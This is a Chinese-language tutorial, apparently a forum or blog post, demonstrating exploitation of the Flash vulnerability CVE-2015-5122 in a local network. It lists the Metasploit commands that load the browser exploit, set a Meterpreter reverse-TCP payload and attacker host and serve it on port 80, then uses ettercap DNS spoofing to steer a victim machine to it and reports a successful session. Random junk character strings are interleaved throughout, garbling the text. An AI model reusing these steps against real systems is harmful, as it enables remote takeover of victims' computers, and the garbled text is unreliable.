cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机

2 Z q( m: b: |' f+ K

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

( k1 J2 x( O8 w$ _8 g) X$ }0 S) g

3 i# {* F F0 L, K8 d search cve-2015-5122如图：

' _# f1 }6 o7 U/ o$ Q6 o! ~   + R0 b0 t o/ O `& j

下面我们敲如下命令：

6 C M' I$ U/ q* X% Y* `

6 U/ c/ G& V2 U, V& n8 W& H% D use exploit/multi/browser/adobe_flash_opaque_background_uaf ' [, z3 J# @! r) l

, c; y) D! O3 e" O4 w

set PAYLOAD windows/meterpreter/reverse_tcp 2 s6 w$ h) n2 D& h4 X

: t# f# E3 B$ p B6 P; [ set LHOST 192.168.0.109 + P+ ~2 J1 V! B) w% j

set URIPATH /                        /*根目录*/

7 O1 C8 K$ L; o O! Z set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 6 l+ Q$ C8 k* a9 W: X( U/ O. Y

1 g1 t3 L6 H; b: h+ _% F# O( e* |

' `& s2 p1 ]& l' P 然后show options如图： 7 z0 t0 {* B! r* X3 L! F; |

" L0 v/ w7 t8 [. u k

 

0 {+ v/ Y/ z& e$ L) p; l4 h; S

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
* i# x2 |0 Y% E, e9 C3 A- }

: D) b6 `. `* q

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

: |3 Z$ u6 d! h2 |7 y* }: q

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf 3 z4 E# R* H- g' ]" n2 k

  ) h! X0 C" c. O

. i7 M2 O. i, g0 n/ I) K( I

, ^: {5 H0 U! T- W' ~( o. m& L 成功了，这时候我们断开ettercap，如图：

 

1 i0 x) F' S/ T0 M) o9 O

Screenshot如图：

) G1 |( f: h0 m& H9 i; ~* P" U

# C; d( D U& v* L" W+ C  

2 n$ I- Z6 J3 ^2 ?) `